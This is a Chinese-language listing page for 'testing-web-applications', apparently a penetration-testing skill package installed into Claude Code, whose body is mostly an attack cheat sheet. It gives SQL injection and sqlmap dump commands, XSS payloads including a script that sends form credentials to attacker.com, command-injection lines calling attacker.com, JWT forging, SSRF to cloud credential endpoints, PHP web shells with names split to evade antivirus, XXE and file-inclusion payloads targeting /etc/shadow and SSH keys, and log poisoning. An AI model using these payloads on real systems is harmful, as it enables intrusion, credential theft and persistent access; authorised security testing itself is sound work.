关于 testing-web-applications
面向渗透测试人员的 Web 应用安全测试技能,供授权测试使用。它整理了常见漏洞的测试方法与命令,并指出适合转用专门技能的情形。
主要功能
- 01SQL 注入与 XSS 测试
- 02命令注入与文件上传检查
- 03JWT、SSRF、XXE 与路径遍历方法
- 04API 端点与访问控制测试
- 05枚举和漏洞扫描工具
适用场景
- 01检查 Web 应用输入中的注入缺陷
- 02评估身份验证、会话与授权
- 03测试文件上传行为和路径处理
- 04梳理并检查 Web API 端点
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill testing-web-applications安装后在 Claude Code 中输入/testing-web-applications确认已加载。
详细介绍
测试 Web 应用程序
适用场景
- 对 Web 应用程序进行渗透测试
- 测试身份验证/授权
- 利用注入漏洞
- 分析 JWT/会话安全性
- 测试文件上传功能
- 评估 API 安全性
不适用场景
- 有源代码可用 — 优先使用
auditing-code-for-vulnerabilities; 它能更快发现更多问题 - 纯 API/GraphQL 攻击面 — 使用
testing-apis - 审查拉取请求 — 使用
reviewing-code-changes - 由 LLM 支持的功能 — 使用
securing-ai-systems - 服务端获取用户提供的 URL — 使用
exploiting-ssrf - Cookie 或参数中包含序列化对象(
rO0AB、O:、gAJ)— 使用exploiting-deserialization - GraphQL 或 gRPC 端点 — 使用
attacking-graphql或attacking-grpc-protobuf - 标头、Cookie 或请求正文中有 JWT(
eyJ...) — 使用attacking-jwt - OAuth/OIDC 或“使用 X 登录”流程(
/authorize、redirect_uri、code=)— 使用attacking-oauth-oidc - SAML SSO(
SAMLResponse、<saml:Assertion>、/saml/acs)— 使用attacking-saml - 会解析 XML、SVG 或 Office 文件的端点 — 使用
exploiting-xxe
SQL 注入
快速检测:
# Test basic payloads
'
"
`
' OR '1'='1
" OR "1"="1
' OR '1'='1'--
基于联合查询的 SQLi:
# Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
# Extract data
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--
基于时间的盲注:
-- MySQL
' AND SLEEP(5)--
-- PostgreSQL
' AND pg_sleep(5)--
-- MSSQL
' WAITFOR DELAY '0:0:5'--
自动化测试:
# SQLMap
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump
sqlmap -r request.txt -p parameter_name
跨站脚本(XSS)
快速载荷:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>
绕过过滤:
<ScRiPt>alert(1)</sCrIpT>
<script>alert(String.fromCharCode(88,83,83))</script>
<svg/onload=alert(1)>
<img src=x onerror="alert(1)">
窃取凭据:
<script>
document.forms[0].onsubmit = function(){
fetch('http://attacker.com?'+new URLSearchParams(new FormData(this)));
};
</script>
工具:
dalfox url http://target.com/search?q=test
XSStrike -u "http://target.com/search?q=test"
命令注入
基本运算符:
;whoami
|whoami
||whoami
&whoami
&&whoami
`whoami`
$(whoami)
%0Awhoami # Newline (best)
盲测检测:
& sleep 10 &
& nslookup attacker.com &
& curl http://attacker.com &
常见参数:
?cmd=, ?exec=, ?command=, ?ping=, ?query=, ?code=, ?do=
JWT 攻击
快速测试:
# jwt_tool - run all tests
python3 jwt_tool.py -M at -t "https://api.target.com/endpoint" -rh "Authorization: Bearer TOKEN"
# Specific attacks
python3 jwt_tool.py TOKEN -X a # Algorithm confusion
python3 jwt_tool.py TOKEN -X n # None algorithm
python3 jwt_tool.py TOKEN -X k # Key confusion RS256->HS256
手动测试:
# Decode JWT
echo "eyJhbGc..." | base64 -d
# Change algorithm to "none"
{"alg":"none","typ":"JWT"}
# Brute force secret
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
SSRF(服务端请求伪造)
基本载荷:
http://127.0.0.1
http://localhost
http://169.254.169.254/ # AWS metadata
http://[::1] # IPv6 localhost
云元数据:
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Google Cloud
http://metadata.google.internal/computeMetadata/v1/
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
绕过方法:
http://2130706433/ # Decimal
http://0x7f000001/ # Hex
http://127.1/ # Short form
http://127.0.0.1.nip.io
文件上传
绕过扩展名检查:
shell.php.jpg
shell.jpg.php
shell.php%00.jpg
shell.phP
shell.php5
shell.phtml
魔术字节:
GIF89a<?php syst[e]m($_GET['cmd']); ?>
简单 Web Shell:
<?php syst[e]m($_GET['cmd']); ?>
<?=`$_GET[0]`?>
<?php passt[h]ru($_GET['cmd']); ?>
上述载荷函数名已用方括号拆开 —
syst[e]m即system,passt[h]ru即passthru。如果按字面原样写出,这些行会匹配 防病毒软件的 Web Shell 特征,因此该文件在下载时会被隔离。 请参阅仓库 README 中的“防病毒误报”。
XXE(XML 外部实体)
基本 XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
带外 XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]>
<root></root>
SVG XXE:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
LFI/RFI(本地/远程文件包含)
路径遍历:
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
常见目标(Linux):
/etc/passwd
/etc/shadow
/var/log/apache2/access.log
/var/www/html/config.php
~/.ssh/id_rsa
~/.bash_history
常见目标(Windows):
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\xampp\apache\conf\httpd.conf
PHP 包装器:
php://filter/convert.base64-encode/resource=index.php
php://input # POST: <?php system('whoami'); ?>
data://text/plain,<?php system('whoami'); ?>
expect://whoami
日志投毒:
# Poison Apache log
curl "http://target.com/<?php system(\$_GET['cmd']); ?>"
# Include log
http://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami
API 测试
常见 API 路径:
/api/v1/
/api/v2/
/graphql
/swagger.json
/api-docs
IDOR 测试:
# Change IDs
curl https://api.target.com/users/1
curl https://api.target.com/users/2
curl https://api.target.com/users/2 -H "Authorization: Bearer USER1_TOKEN"
批量赋值:
# Add admin fields
curl -X POST https://api.target.com/users \
-H "Content-Type: application/json" \
-d '{"username":"test","email":"[email protected]","role":"admin","is_admin":true}'
GraphQL 内省:
{
__schema {
types {
name
fields {
name
}
}
}
}
工具
枚举:
ffuf -u http://target.com/FUZZ -w wordlist.txt
gobuster dir -u http://target.com -w wordlist.txt
feroxbuster -u http://target.com -w wordlist.txt
漏洞扫描:
nikto -h http://target.com
nuclei -u http://target.com -t ~/nuclei-templates/
参数发现:
arjun -u http://target.com/page
paramspider -d target.com
快速参考
开始测试:
- 运行目录枚举(ffuf/gobuster)
- 检查参数中是否存在 SQLi(
'、"、OR 1=1) - 测试输入中的 XSS(
<script>alert(1)</script>) - 如果存在 JWT 令牌,则进行分析(jwt_tool)
- 检查文件上传(绕过过滤器、上传 Shell)
- 测试 API 端点(IDOR、批量赋值)
- 查找命令注入(
;whoami、|id)
最常见的成功方式:
- 搜索/筛选参数中的 SQLi
- 未转义用户输入中的 XSS
- API
/users/{id}端点中的 IDOR - 弱 JWT 密钥(暴力破解)
- 绕过文件上传限制
- 系统实用程序中的命令注入
ATT&CK 覆盖范围
由 secskills-core/ttp-index.json 生成 — 编辑该文件,然后运行
python3 scripts/sync_attack.py --write。在报告中引用这些 ID 前,请根据当前 ATT&CK 版本重新核实。
初始访问(TA0001)
- T1190 利用面向公众的应用程序 — 另请参阅
testing-apis、enumerating-network-services、attacking-graphql、attacking-grpc-protobuf、exploiting-deserialization、exploiting-ssrf、exploiting-xxe
执行(TA0002)
- T1059 命令和脚本解释器 — 另请参阅
enumerating-network-services
持久化(TA0003)
- T1505.003 Web Shell — 另请参阅
establishing-persistence
凭证访问(TA0006)
- T1539 窃取 Web 会话 Cookie
针对上述任一项的检测内容:engineering-detections。主动搜索:hunting-threats。入侵后处置:responding-to-incidents。
参考资料
详细技术请参阅 HackTricks: